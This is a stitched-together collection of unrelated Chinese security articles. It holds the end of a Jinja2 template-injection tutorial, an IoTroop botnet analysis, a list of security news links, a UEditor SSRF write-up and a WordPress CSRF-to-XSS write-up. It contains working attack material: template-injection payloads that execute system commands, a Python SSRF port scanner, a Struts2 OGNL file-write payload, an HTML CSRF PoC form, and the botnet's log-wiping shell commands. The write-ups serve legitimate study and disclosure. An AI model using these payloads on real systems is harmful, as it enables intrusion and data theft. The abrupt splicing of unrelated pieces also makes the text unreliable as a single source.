**Os模块（Python 2.7）**
除了上面介绍的类型之外，还有一种类型也有可能被攻击者所利用。它缓存了所有可用的python模块，其中，我们可以找到os模块。
WARNINGS_INSTANCE.__init__.func_globals['linecache'].__dict__.values()[12]
<module 'os' from '/usr/lib/python2.7/os.pyc'>
来源：https://hexplo.it/escaping-the-csawctf-python-sandbox/
将这个有趣的模式应用于Jinja模板，我们就能得到如下所示的payload。
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd')}}
这里有一个two-step的payload：先执行一个命令并将命令输出临时存储在temp文件夹中，然后，再使用另一个Jinja表达式来读取命令输出。
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd') }}{{''.__class__.__mro__[2].__subclasses__()[40]("/tmp/cmd","r").read() }}
这些payload仅适用于Python 2.7。
### 练习
为了完成这个练习，请连接到Web服务器http://template-injection.gosec.co:8013/。
首先，您必须检测在模板中放置了哪个HTTP参数。为此，您可以借助于简单的算术表达式。
使用以上方法可以充分利用这个漏洞。
您可以访问服务器上的flag.txt文件了吗？
## 小结
在本文中，我们为读者详细介绍了模版注入漏洞的概念，模版引擎的识别方法，以及两种模版引擎相关的注入漏洞。在接下来的文章中，我们将继续为读者介绍其他四种模版相关的注入漏洞。 | 社区文章 |
# 【技术分享】IoTroop：一个正快速扩张的新 IoT僵尸网络分析
|
##### 译文声明
本文是翻译文章，文章来源：checkpoint.com
原文地址：<https://research.checkpoint.com/iotroop-botnet-full-investigation/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
上周，我们的安全研究人员发现了IoT_reaper这个庞大的僵尸网络。一经发现，我们就很快发布了关于该僵尸网络的[初步分析](https://research.checkpoint.com/new-iot-botnet-storm-coming/)，用以提醒网络安全社区。在本文我们将对IoT_reaper僵尸网络进行详细的研究和分析，现阶段我们的主要研究结果包括以下几个方面：
**整个僵尸网络军团已被揭开。**
**我们观察到两组不同的僵尸网络军团：**
**其中一组是C2服务器和样本,主要用于感染和传播。**
**另一组用于第二阶段payload。**
**攻击者能够通过Lua脚本快速灵活地控制被感染的设备。**
**
**
**僵尸网络军团**
该僵尸网络军团中的每台服务器在恶意软件传播和漏洞利用过程中都扮演着重要的角色，我们已经发现了整个僵尸网络传播的基础设施，具体如下图所示：
恶意软件传播基础设施图
**
**
**IoTroop恶意软件概述**
IoTroop是IoT_reaper
Botnet在网络攻击活动中第一阶段使用的主要payloads，该恶意软件借用了mirai的源代码，但是在几个关键行为上显著区别于mirai，包括：
1\. C&C服务器已经完全被重新设计，并使用了新的后台。 另外，IoTroop的C&C服务器是用PHP编写的，而原来的Mirai
C&C服务器是用GO编写的。
2\. 随着C&C后台的变化，C&C通信协议也发生了变化，IoTroop恶意软件使用了全新的C&C通信方式。
3\. IoTroop恶意软件不再使用弱口令猜测、而是使用IoT设备漏洞，扫描效率大大提高。
4\.
IoTroop恶意软件不包含任何DDoS功能，实际上我们也没有观察到与该恶意软件有关的任何DDoS攻击，但所有与DDoS相关的功能都由C&C后台进行协调和管理，并作为单独的模块下载。
**
**
**恶意软件操作细节**
我们检测到IoTroop恶意软件使用的几个变种，虽然这几个变种之间的差异很小，但其却包含完全相同的功能。通常，根据被攻击设备的架构不同，所有变种可以被分为MIPS变种和ARM变种这两类。
**初始化**
一旦IoTroop将其payload在被感染设备上执行，初始化操作步骤与Mirai所采用的步骤相同，主要有：
**混淆初始化字符串**
**阻止系统服务重启（通过发送特定的IOCTL）**
**确保只有一个IoTroops的实例正在运行**
**隐藏argv[0]**
**隐藏进程名称**
然而，IoTroop恶意软件从控制流开始会执行其自己独特的功能，那就是：
通过向eth0，br0，eth1和eth2设备发送IOCTL
0x8927来查询和存储设备的MAC地址。如果恶意软件当前运行的设备运行GoAhead嵌入式Web服务器，则执行以下shell命令：
·rm -f /tmp/ftpupload.sh n
·ln -s /dev/null /tmp/ftpupload.sh n
·rm -r /var /log n
这些操作用于删除与WIFICAM漏洞利用相关的shell脚本，并创建一个到/dev/null的符号链接，以及从设备中清除所有日志文件。
**禁用其他恶意软件**
IoTroop占用TCP
23端口并禁用任何打开telnet的进程。然后，它扫描设备内存以查找其他IoT恶意软件是否使用以下字符串，如果找到相同的字符串，那么IoTroop将会停止该进程的运行。
· .anime
· REPORT %s:%s
· HTTPFLOOD
· LOLNOGTFO
· zollard
· x58x4Dx4Ex4Ex43x50x46x22 (The word ‘zollard’ Xored with 0x22)
**漏洞扫描**
为了进行漏洞扫描，IoTroop恶意软件会生成一批随机IP，负责生成IP地址的代码与Mirai的代码相同，示例代码如下图所示：
恶意软件会对每个生成的IP地址进行一组漏洞测试，测试以下任何设备或基础设施中是否存在漏洞：
具体的漏洞扫描流量如下所示：
下图是从其中一个漏洞扫描获取的PCAP的示例：
**C＆C通信**
IoTroop的C&C后台服务器由几个组件组成，每个组件负责一个独特的目的。
**reporter 服务器**
reporter
服务器用于接收Bot扫描到的易感染设备信息，该服务器使用字母“f”作为子域名的前缀，通过我们的研究，我们能够识别出两个存活的reporter
服务器，域名如下：
l hl852.com（222.112.82.231）
l ha859.com（222.112.82.231）
一旦Bot扫描到易感染设备，IoTroop将以下列方式将其数据发送到reporter 服务器：
以下参数被用作上述HTTP GET请求的一部分：
Controller 服务器用于控制所有受感染的设备，并负责执行第二阶段恶意payload以及更新当前的恶意软件。
**Controller 服务器**
每个受感染的设备不断地从控制C&C服务器获取命令，通过我们的研究，我们能够识别出两个存活的Controller 服务器，如下所示：
·ha859.com（27.102.101.121）
·hl852.com（27.102.101.121）
Controller 服务器以JSON格式向IoTroop客户端发送命令和参数，具体参数如下表所示：
一旦收到命令，IoTroop Bot首先解析该命令然后执行并将执行结果返回给C2服务器。
**downloader**
如果端口存在且为80，则构造格式为“http://<ip>
<url_path>”的字符串，否则将其设置为”http://<ip>:<port><url_path>”，并将ip，port和path的值填入字符串中。如果C2服务器发来的JSON值为完整路径，那么恶意文件将被保存到命令参数的目录中，否则它将放在/
tmp目录下。在处理构造的URL之前，bot将尝试通过“killall <name>”命令来停止所有与其名称类似的进程，其中参数取自上述“name”键值。
最后，该URL将被传递给一个download函数，该函数会首先使用lstat检查文件的状态，以验证其是否存在，然后计算该文件内容的哈希值。在打开文件并读取文件后，根据每个操作的状态，构建一个格式为“open：errorsuccess”或“read：errorsuccess”的报告或日志记录字符串，我们观察到该字符串从未被使用过，因此我们猜测该恶意软件仍在进行调整，并处于开发阶段。
在获取到散列值之后，该散列值将与controller
提供的散列值进行比较，以验证磁盘上文件的版本（如果存在）与服务器提供的版本是否不同。如果文件版本不同，Bot将以”r-xrwxrwx”权限生成一个新文件，并与C2服务器建立socket连接。IoTroop将构造一个HTTP
GET请求并将其写入socket，之后它尝试以128个字节的大小块（在请求成功的情况下）从socket中读取其内容，读取到的内容将被写入新创建的文件，并再次检查MD5，以验证是否获取到正确的内容。完成通信后，bot会向controller
发出“FINn”字符串。
**Execute**
文件的具体执行具体取决于“runtype”和“runport”键的值，这两个键值位于“mysel”字符串中。其中，第二个参数表示设备类型，第三个表示TCP端口。在任何情况下，下载的文件都将以给定的“runtype”和“runport”参数执行。
一般地，执行操作可能对应两种情况：一是对应于bot的软件更新事件，用以提示其在未来的进一步变化；另一种情况将对应于任意模块或插件的执行，这可能是Slowloris
DDoS实用程序（在C2服务器上发现）或其他任何应用程序，而且Bot使用“/bin/sh sh -c <path_to_executable>
<runtype> <runport>”命令产生新的进程，具体如下图所示：
在我们的研究中，我们发现IoTroop恶意软件在其控制流程的不同阶段使用了以下示例。
**
**
**第二阶段payload**
**概述**
我们观察到另外一个与之相关的样本和C&C服务器，该C2也在[奇虎360的](http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/)一篇文章中提到，这些样本似乎用于第二阶段的payload。这些恶意软件可以由downloader服务器的IoTroop恶意软件下载并执行，样本描述如下表所示：
这些样本与不同的C&C服务器通信以报告感染的设备以及从C2下载命令，这些服务器是以域名或者IP地址的形式在样本中进行硬编码的，有时候会有不同的端口，这取决于具体的样本，具体如下表所示：
**
**
**Lua综合恶意软件分析**
我们从其中一个reporter服务器收集到了大约4700个感染设备的信息，分析过程如下所示。
**概述**
恶意代码中集成了Lua执行环境，从而支持通过Lua脚本编写复杂的攻击指令。 此外，它还复用了Mirai
的代码，由于代码中存在调试字符串，因此我们猜测它是使用Debug模式编译的。但是，除了代码引用的一个调试字符串之外，我们分析的样本似乎没有使用Mirai
代码，这可能是由于编译器优化的原因。多个调试字符串以及详细的输出信息使我们相信这些样本仍在测试或初始部署阶段。
**功能分析**
样本的主要功能的核心部分如下所示：
恶意软件使用Lua解释器的内部函数来初始化Lua引擎，加载LuaSocket库并定义一些在稍后代码会使用的Lua全局变量，具体如下图所示：
之后，将一个功能推送到Lua引擎堆栈，并定义为“attack”，这相当于在Lua脚本中定义一个名为“attack”的函数，“attack”字符串来自Mirai
源代码的调试字符串，具体如下图所示：
恶意软件然后利用内部的Lua函数来执行以下Lua脚本，该脚本以字符串形式嵌入在恶意软件中，具体如下图所示：
该脚本与恶意软件的C&C地址进行通信，首先，它使用以前定义的全局变量将感染细节报告给reporter
C&C（bbk80.com）。然后它进入一个无限循环，并从命令C&C服务器（cbk99.com）下载Lua脚本并执行它们，它通过从C＆C下载“run.lua”文件并将其作为参数传递给以前在main中定义的“attack”函数，“attack”函数会在子进程中执行脚本，具体如下所示：
如果脚本加载或执行失败，恶意软件将以中文显示错误字符串：
目前C＆C服务器上发现的“run.lua”脚本只是打印字符串“Just Test”：
我们可以在名为“run.bak.txt”的Web服务器上看到另一个Lua脚本，它看起来像一个数据收集或者更新脚本，具体如下所示：
攻击者可以轻松更新脚本，轻松指示僵尸网络执行任务。
这个强大的设置使攻击者能够灵活和动态地控制受感染的设备，使他们能够轻松地定制任何具有自定义，可更新的攻击代码，并更改恶意软件的行为，而无需更新二进制本身。
**
**
**易受攻击的IoT设备**
**
**
**IOCs** | 社区文章 |
# 【知识】5月8日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：** **再次认识Intel AMT漏洞 、Ode to the use-after-free: one vulnerable
function, a thousand possibilities、PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析
、在iOS应用程序中使用Frida绕过越狱检测、** **详细解析PHP mail()函数漏洞利用技巧**
**
**
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
法国总统大选在即 候选人马克龙9 GB 邮件遭曝光
<http://www.theregister.co.uk/2017/05/06/hackers_release_9gb_of_email_from_macron_two_days_before_french_presidential_election/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
再次认识Intel AMT漏洞
<https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability>
Qubes 安全公告：修复了与PV存储器相关的高危漏洞
<https://github.com/QubesOS/qubes-secpack/blob/master/QSBs/qsb-030-2017.txt>
Ode to the use-after-free: one vulnerable function, a thousand possibilities
<https://scarybeastsecurity.blogspot.com/2017/05/ode-to-use-after-free-one-vulnerable.html>
对Pawn Storm 网络间谍组织的跟踪分析
<https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf>
对移动设备安全性的研究
<https://www.dhs.gov/sites/default/files/publications/DHS%20Study%20on%20Mobile%20Device%20Security%20-%20April%202017-FINAL.pdf>
DNS的一个特性：DNSAdmin to DC compromise in one line
<https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83>
端口扫描的小工具
<https://github.com/vesche/scanless>
CVE-2017-3305：mysql Client 和 Server端存在MITM漏洞
<http://again.riddle.link/>
PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析
<https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html>
TrustZone安全技术研究
[http://mp.weixin.qq.com/s?src=3×tamp=1494204662&ver=1&signature=mV84SMCvF0EvZTPVNDWofzOR5jyZ1BFzQB0jBE4GSnLM-3fp52wQf5H8GnAi3EQHObZSzPw6FBvafA4E0kxSPeuHuQp-SGUUowFmrqvae13r43AD0PcP80hO2B-2sWsjX36kGLjNSUQ*Wjo0PCxd4GrtlFJuXHujiw-MWDadi6I=](http://mp.weixin.qq.com/s?src=3×tamp=1494204662&ver=1&signature=mV84SMCvF0EvZTPVNDWofzOR5jyZ1BFzQB0jBE4GSnLM-3fp52wQf5H8GnAi3EQHObZSzPw6FBvafA4E0kxSPeuHuQp-SGUUowFmrqvae13r43AD0PcP80hO2B-2sWsjX36kGLjNSUQ*Wjo0PCxd4GrtlFJuXHujiw-MWDadi6I=)
XSS Bypass Cookbook ver 3.0
<http://www.math1as.com/index.php/archives/426/>
Ursnif反分析技术并绕过它们的方法
<http://www.iij.ad.jp/en/company/development/iir/pdf/iir_vol34_EN.pdf>
浏览器的XSS过滤器bypass表
<https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet>
CISO＆SOC指南：检测和停止数据外带via DNS
<https://www.peerlyst.com/posts/ciso-and-soc-guide-detecting-and-stopping-data-exfiltration-via-dns-s-delano>
BSidesCBR 2017 CTF Write-Up: Needleinahaystack
<https://paulsec.github.io/blog/2017/05/06/bsidescbr-2017-ctf-write-up-needleinahaystack/>
在iOS应用程序中使用Frida绕过越狱检测
<http://blog.attify.com/2017/05/06/bypass-jailbreak-detection-frida-ios-applications/>
维基解密发布“阿基米德”：用来攻击在办公室使用的局域网（LAN）中的计算机
<https://wikileaks.org/vault7/#Archimedes>
详细解析PHP mail()函数漏洞利用技巧
<http://bobao.360.cn/learning/detail/3818.html>
MySQL False注入及技巧总结
<http://bobao.360.cn/learning/detail/3804.html> | 社区文章 |
作者： 浮萍@猎户安全实验室
公众号：[猎户安全实验室](https://mp.weixin.qq.com/s/OPbyYQNWiN2dy_BHhqd9eg "猎户安全实验室")
前些时间测试的时候遇到了一个系统采用了UEditor编辑器，版本为1.4.3。已知该编辑器v1.4.3版本存在SSRF漏洞，虽然是Bool型的SSRF，除了可以进行内网探测外，也可以根据web应用指纹信息，之后进行进一步的测试。
#### 0x01 前言
查看官方的更新日志可以发现UEditor编辑器在版本1.4.3.1修复了SSRF漏洞。
那版本1.4.3应该存在SSRF漏洞，本着能搜索就不动手的原则搜了一下，发现wooyun-2015-0133125中提到过这类的漏洞。但我这里是jsp版本的，里面提到jsp版本不一样，只好去分析一下漏洞产生的位置。
#### 0x02 漏洞分析
那我们需要查看版本1.4.3与1.4.3.1有什么不同，从而找到存在问题的地方。该项目的代码托管在Github上，地址为：<https://github.com/fex-team/ueditor/>。
查看版本1.4.3.1下的jsp代码.
可以发现在该版本有一次commit，commitId
为`a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6`。根据字面意思应该是增加了修复SSRF的代码。
下载下来后对比一下v1.4.3.1和v1.4.3代码有什么不同(这里仅对比jsp下的代码)。
发现在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。
privatebooleanvalidHost ( String hostname) {
try {
InetAddressip = InetAddress.getByName(hostname);//根据主机名获取ip
if (ip.isSiteLocalAddress()) {//是否为地区本地地址
returnfalse;
}
} catch (UnknownHostExceptione) {
returnfalse;
}
return !filters.contains( hostname );
}
新增了对ip地址是否为内部地址的判断。而在v1.4.3中仅仅是做了是否为过滤的ip地址。
privatebooleanvalidHost ( String hostname) {
return !filters.contains( hostname );
}
isSiteLocalAddress方法作用是当IP地址是地区本地地址（SiteLocalAddress）时返回true，否则返回false。
IPv4的地址本地地址分为三段：10.0.0.0~ 10.255.255.255、172.16.0.0 ~
172.31.255.255、192.168.0.0 ~192.168.255.255。
搜索后发现在captureRemoteData中调用了validHost方法。
根据代码可以分析：首先使用validHost对url进行判断，如果不合法，就提示“被阻止的远程主机”；当满足条件后会使用validContentState方法查看返回的状态是否为200，若不为200，则提示“远程连接出错”；进而对后缀、文件大小进行判断，都符合之后才进行图片的保存。如果url无法访问，则提示“抓取远程图片失败”。
所以可以根据返回的内容，来推断该url对应的主机是否可以访问。由于在版本v1.4.3中没有对请求的主机进行验证，从而造成了SSRF漏洞。
继续查看在capture方法中调用了captureRemoteData。
publicStatecapture ( String[] list ){
MultiStatestate = newMultiState( true );
for ( String source : list ) {
state.addState( captureRemoteData( source ));
}
return state;
在invoke中调用了capture.
publicStringinvoke() {
if ( actionType == null || !ActionMap.mapping.containsKey(actionType ) ) {
returnnewBaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
}
...
Statestate = null;
intactionCode = ActionMap.getType( this.actionType );
...
switch ( actionCode ) {
...
caseActionMap.CATCH_IMAGE:
conf = configManager.getConfig(actionCode );
String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
state = newImageHunter( conf ).capture( list );
break;
...
}
returnstate.toJSONString();
}
当调用capture需要满足条件为actionCode为`ActionMap.CATCH_IMAGE`，在ActionMap中value为`ActionMap.CATCH_IMAGE`对应的key为catchimage。所以当actionType值为catchimage，即action参数对应为catchimage时，才可能触发SSRF漏洞。下面对漏洞进行验证。
#### 0x03 漏洞验证
这里用的是v1.4.3
jsp版本，下载ueditor1_4_3-utf8-jsp.zip，之后进行配置（可以参考<http://fex.baidu.com/ueditor/#server-jsp>）。
功能实现的入口文件是jsp/controller.jsp。由上述分析可知需要满足action参数为catchimage。
在case ActionMap.CATCH_IMAGE中下断点，然后进行调试。
访问链接<http://localhost:8088/jsp/controller.jsp?action=catchimage>
继续运行发现list为空，然后就抛出了异常。
再次运行，查看list数据从何而来。
可以看出list的数据从浏览器source[]参数而来。这里source[]需要后缀为图片格式，具体可以查看config.js中的catcherAllowFiles。
已知192.168.135.133开启了tomcat服务，且端口为8080。我们这里访问一张不存在的图片，例如用UUID生成一张图片的名称。
构造请求链接：[http://localhost:8088/jsp/controller.jsp?action=catchimage&source[]=http://192.168.135.133:8080/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png](http://localhost:8088/jsp/controller.jsp?action=catchimage&source\[\]=http://192.168.135.133:8080/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png)
当进入validHost方法时，由于被访问的主机地址不在过滤的范围，所以返回true。
这里可以发现，仅仅对127.0.0.1、localhost和img.baidu.com进行了限制，当ip为本地地址时并没有限制，从而可以进行内网探测。
而该图片由于不存在，所以状态码为404，到此抓取图片过程结束，并返回结果。
这里可以根据页面返回的结果不同，来判断该地址对应的主机端口是否开放。可以总结为以下几点：
1. 如果抓取不存在的图片地址时，页面返回{"state": "SUCCESS", list: [{"state":"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]}，即state为“远程连接出错”。
2. 如果成功抓取到图片，页面返回{"state": "SUCCESS", list: [{"state": "SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]}，即state为“SUCCESS”。
3. 如果主机无法访问，页面返回{"state":"SUCCESS", list: [{"state": "\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25"}]}，即state为“抓取远程图片失败”。
由于除了在config.js中的catcherLocalDomain配置了过滤的地址外，没有针对内部地址进行过滤，所以可以根据抓取远程图片返回结果的不同，来进行内网的探测。
#### 0x04 代码实现
由上述分析，根据返回包中的state进行判断，当state为"远程连接出错"或者为“SUCCESS”时表示该主机存在，且对应的端口为开放状态。
代码如下：
__Date__="20180524"
'''
Usage:
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24
Python version: 3.6.2
requirements:IPy==0.83
'''
import sys
import json
import requests
from IPy import IP
defcheck(url,ip,port):
url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' %(url,ip,port)
res = requests.get(url)
result = res.text
result = result.replace("list","\"list\"")
res_json = json.loads(result)
state = res_json['list'][0]['state']
if state == '远程连接出错'or state == 'SUCCESS':
print(ip,port,'is Open')
defmain(url,ip):
ips = IP(ip)
ports = [80,8080]
for i in ips:
for port in ports:
check(url,i,port)
if__name__ == '__main__':
url = sys.argv[1]
ip = sys.argv[2]
main(url,ip)
由于返回的结果为`{"state": "SUCCESS", list: [{"state":"..."}
]}`并不能直接用json来解析，需要将list替换为“list”后才可以作为json来解析。当然也可以直接使用burp来测试。
在实际测试中的测试结果如下：
#### 0x05 综合利用
对于这样的Bool型SSRF ，页面仅返回了状态，而没有更多别的信息，要想进一步利用，可以根据如下的思路：
内网探测->应用识别->攻击Payload->查看结果
##### 5.1 内网探测
首先进行内网探测，查看内网开放的主机和端口。这里以本地为例。
执行命令：
python SSRF_Ueditor_jsp.pyhttp://localhost:8088/ 192.168.135.155
192.168.135.15580is Open
192.168.135.1558080is Open
发现端口80 和 8080 开放，然后进行应用的识别。
##### 5.2 应用识别
80端口由于没有可以识别的特征，所以未识别到应用的类型，而8080端口可以识别出来为tomcat服务器。
然后尝试查看是否可能存在Struts2漏洞。
##### 5.3 攻击Payload
由于在抓取远程图片时，会请求给出的URL地址，所以可以利用Struts2漏洞在内网服务器（这里为192.168.135.155）上写入一个后缀为图片格式（如png、jpg)的文件（因为只能抓取图片格式的文件，所以这里写入了图片后缀的文件），然后利用Ueditor抓取图片的功能，将写入的图片文件抓取到ueditor服务器中，然后访问图片查看攻击结果。
首先写文件，这里利用Struts2漏洞在内网服务器web项目下写入一个名字为b5e592d2-ab5b-476d-865a-8299a0625490.png的文件，内容为Struts2_Test.png。
这里之所以写入内容为Struts2_Test.png，是由于在抓取图片时会判断图片链接的后缀是否为图片格式。当然还有其他的写法，例如
`http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B’b5e592d2-ab5b-476d-865a-8299a0625490.png’,%2523res%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png`也可以写入。
然后再次利用Ueditor抓取远程图片的功能将写入内网服务器的“图片文件”抓取下来，查看其内容。
这里需要抓取的图片地址为：<http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png>
由上图可以看出，最后抓取的文件保存地址为：/ueditor/jsp/upload/image/20180525/1527181480175039672.png
##### 5.4 查看结果
然后访问<http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png>
查看是否攻击成功。
表明攻击成功。
#### 0x06 总结
由于UEditor在v1.4.3之前没有加入对内部IP的限制，所以在使用抓取图片的功能时，造成SSRF漏洞。可以进行内网服务器的探测。然后根据内网服务器的特征（如/jmx-console/images/logo.gif, /tomcat.png），判断其使用的组件，并猜测可能存在的漏洞，然后进行进一步的渗透。
* * * | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2019年3月14日**
**英文版本：<https://paper.seebug.org/936/>**
2019年3月13日， RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情，标题起的很响亮，叫做wordpress csrf to
rce, <https://blog.ripstech.com/2019/wordpress-csrf-to-rce/>
下面我们就来详细聊聊这个漏洞。
### 关于WordPress防护
早在2017年10月25号，我曾经写过一篇关于WordPress安全机制的文章。
<https://lorexxar.cn/2017/10/25/wordpress/>
在其中，我着重描述了WordPress整体安全机制中的最核心机制， **Nonce安全机制** 。
出于防御CSRF攻击的目的，WordPress引入了Nonce安全机制，Nonce是通过用户id、token、操作属性来计算的。简单来说就是，
**Nonce值受限于用户以及操作属性两点，不同用户同一个操作Nonce值不同，同一个用户不同操作Nonce值不同，同一个用户同一个操作不同站Nonce不同。**
虽然是出于防御CSRF攻击的目的诞生，但却在WordPress薄弱的后台安全防御下，打上了最强的一节防御外壳。
在WordPress
Core开发团队的认知中，任何一个WordPress的超级管理员，都应该保管好自己的网站以及账号安全，超级管理员也应该能对自己的网站以及服务器负责。
在这样的观点设计下，WordPress的超级管理员可以直接修改后台插件模板来getshell，超级管理员的评论不会有任何过滤。
所以在WordPress的防御体系下，如何绕过Nonce、如何获取超级管理员权限、如果在非超级管理员权限下做任何可以威胁网站安全操作，就是WordPress安全漏洞的主要方向。
### 关于 CSRF to RCE 漏洞
在我们熟悉了WordPress的安全机制之后，我们再回到这个漏洞来。
作者提到，在WordPress的评论处有一个比较神奇的机制。刚才提到，对于WP的超级管理员来说，文章的评论不会有任何过滤，但仍旧有Nonce值`_wp_unfiltered_html_comment`，而WordPress其中有一些特殊的功能例如[trackbacks
and pingbacks](https://make.wordpress.org/support/user-manual/building-your-wordpress-community/trackbacks-and-pingbacks/)会受到该值的影响，所以在评论处，Nonce不会直接阻止请求，而是另外生成了一套逻辑来做处理
/wp-includes/comment.php line 3245
if ( current_user_can( 'unfiltered_html' ) ) {
if ( wp_create_nonce( 'unfiltered-html-comment' )!=$_POST['_wp_unfiltered_html_comment'] ) {
kses_remove_filters(); // start with a clean slate
kses_init_filters(); // set up the filters
}
}
继续跟下去，我们简单的把逻辑写成伪代码
if 有权限:
if nonce正确:
wp_filter_post_kses()
else:
wp_filter_kses()
而其中的区别就是，`wp_filter_post_kses`不会做任何过滤，会保留请求的完整评论，而`wp_filter_kses`将只允许白名单的标签存在，就比如`a`标签等。
而问题的核心就在于，如何在`wp_filter_kses`的白名单中找到一个可以导致xss的输入点。这个点就在`a`标签的`rel`属性处理中。
在/wp-includes/formatting.php line 3025
这里对整个标签全部做了一次处理，而没有额外的转义，再加上这里是通过拼接双引号符号来完成，那么如果我们构造一个评论为
<a title='aa " onmouseover=alert() id=" ' rel='111'>please click me
原链接中的属性会被取出，然后被双引号包裹，就成了
<a title="aa " onmouseover=alert() id=" " rel='111'>please click me
恶意链接就构造成功了，当管理员鼠标放在这条评论上时，则可以执行任意JS。
最后就是在执行任意JS之后，我们可以通过JS直接修改后台的模板，来实现管理员权限下的恶意操作，在我曾经写过的文章《从瑞士军刀到变形金刚--XSS攻击面拓展》中，我就曾经以WordPress为例子来举了多个从XSS到进一步恶意操作的利用方式。
<https://lorexxar.cn/2017/08/23/xss-tuo/#Xss-to-Rce>
我们仔细回顾一下整个漏洞，攻击者需要诱骗超级管理员点击他的恶意链接，然后需要手动把鼠标放置到评论上，甚至还需要保留该页面一段时间，整个攻击才有可能成功。
不难发现，如果我们把漏洞放在WordPress
Core树立的安全标准下来说，该漏洞实际能算作是漏洞的部分只有一个，就是绕过Nonce机制实现的一个WordPress
XSS漏洞。当我们抛开这个关键点之后，我们不难发现，这个漏洞看上次利用条件还不错，但实际上，在WordPress的安全机制中，插件安全一直是最严重的问题，一旦WordPress的高量级插件爆了一个后台的反射性XSS漏洞，利用难度反而甚至比这个漏洞更低，不是吗？
### 漏洞要求
* WordPress commit < [2504efcf9439c1961c4108057e8f3f48239a244b（5.2-alpha-44833)](https://github.com/WordPress/WordPress/commit/2504efcf9439c1961c4108057e8f3f48239a244b#diff-e7c589fb0969e0f690bf2f051517d0ad)
* 超级管理员点击恶意链接。
### 漏洞复现
搭建完成后使用admin账号登陆
然后构造恶意页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1/wordpress/wp-comments-post.php" method="POST">
<input type="hidden" name="comment" value="<a title='aa " onmouseover=alert() id=" ' rel='111'>please click me" />
<input type="hidden" name="submit" value="%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA />
<input type="hidden" name="comment_post_ID" value="1" />
<input type="hidden" name="comment_parent" value="0" />
<input type="hidden" name="_wp_unfiltered_html_comment" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
使用登陆过超级管理员的浏览器点开该页面，然后就会提交评论，当鼠标移动到评论上是，则会执行相应的js
### 从漏洞补丁看漏洞分析
刚才我们说到了一个关键点，整个漏洞实际上可以看作是一个绕过Nonce机制实现的一个WordPress XSS漏洞。
这里我们从漏洞补丁出发，重新分析下这个漏洞的几个关键点。这个漏洞到目前为止，一共有2个commit用来修复。
* <https://github.com/WordPress/WordPress/commit/2504efcf9439c1961c4108057e8f3f48239a244b#diff-e7c589fb0969e0f690bf2f051517d0ad>
* <https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b#diff-91531896c6f70c8a4b4b321d1369c988>
第一个commit首先是修复了那个不该有的xss漏洞
`esc_attr`是WordPress内置的过滤函数，专用来处理属性处的可能出现xss的位置。
第二个commit就比较有趣了，在我看来这个commit更像是一个半成品，可能是由于修复比较匆忙，先把修复的patch更新了再说的感觉。
这个commit我们需要跟进到函数`wp_filter_kses`才看得懂，我们跟着这个函数一路跟下去，一直到`/wp-includes/kses.php
line 1039`
这里的`pre_comment_content`大概像是请求的类型，要到`wp_kses_allowed_html`去获取允许的标签以及属性列表。
`/wp-includes/kses.php line 829`
